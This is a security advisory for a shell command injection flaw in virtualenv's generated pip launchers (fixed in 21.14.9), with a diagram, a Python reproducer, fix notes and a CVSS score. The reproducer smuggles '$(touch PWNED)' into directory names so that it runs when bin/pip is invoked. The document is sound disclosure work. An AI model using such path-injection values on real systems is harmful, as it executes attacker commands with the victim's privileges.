mermaid sequenceDiagram participant A as Destination supplier participant V as virtualenv seeder participant D as distlib ScriptMaker participant S as Generated bin/pip participant U as User A->>V: path contains $(touch PWNED) V->>D: pass interpreter path with incomplete shell quoting D->>S: write /bin/sh wrapper Note over V,S: no payload runs during creation or activation U->>S: pip --version S->>S: shell expands path and runs touch S-->>U: PWNED appears with user's privileges
Reproducer files
The following files are from the scanner report for ANT-2026-5DZVLGL1. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.
repro
text #!/usr/bin/env python3 import shutil import subprocess from pathlib import Path
WORK = Path("/tmp/repro-console-script")
The attacker's whole input: the name of a directory above the environment (a repository, a project folder). DIRECTORYNAMES = { "CONTROL": "my -touch PWNED- project", "OBSERVED": "my $(touch PWNED) project", # no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes "OBSERVEDLONG": "p" 120 + "$(touch${IFS}PWNED)", }
shutil.rmtree(WORK, ignoreerrors=True) pipprinted = {} createdbypip = {} for label, name in DIRECTORYNAMES.items(): # the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory cwd = WORK / label / "cwd" venv = WORK / label / name / "venv" cwd.mkdir(parents=True)
# set up: the user creates an environment there with default options (--no-periodic-update keeps it offline) subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True) assert list(cwd.iterdir()) == [], "environment creation must not have created anything"
# trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, captureoutput=True, text=True) pipprinted[label] = pip.stdout createdbypip[label] = sorted(p.name for p in cwd.iterdir())
launcher = (venv / "bin" / "pip").readtext().splitlines() print(f"{label}: directory name {name!r}") print(f" bin/pip line 1: {launcher[0]}") print(f" bin/pip line 2: {launcher[1]}") print(f" bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}") print(f" files bin/pip created in the working directory: {createdbypip[label]}")
check: a directory name is data; starting pip must run pip and nothing else controlok = pipprinted["CONTROL"].startswith("pip ") and createdbypip["CONTROL"] == [] attackran = createdbypip["OBSERVED"] == ["PWNED"] and createdbypip["OBSERVEDLONG"] == ["PWNED"] print("BUG" if controlok and attackran else "OK")
Fix scope and remaining exposure
PR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The pip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip's vendored distlib.
A later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing launchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to regenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip. The follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are attributed to the reviewer.
Impact
Running an affected launcher can execute commands with the calling user's privileges. Classification: high, CVSS 7.8, CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, following the project's generated-script precedent. The vector assumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are required; successful command execution can affect the user's data and processes.
Versions tested
The maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review records reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are unchanged from 21.14.8. The first affected release has not been established. Fixed in 21.14.9.
Known mitigation
Use an environment destination chosen by a trusted user. For older releases, avoid generating environments at destinations derived from untrusted input.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-5DZVLGL1.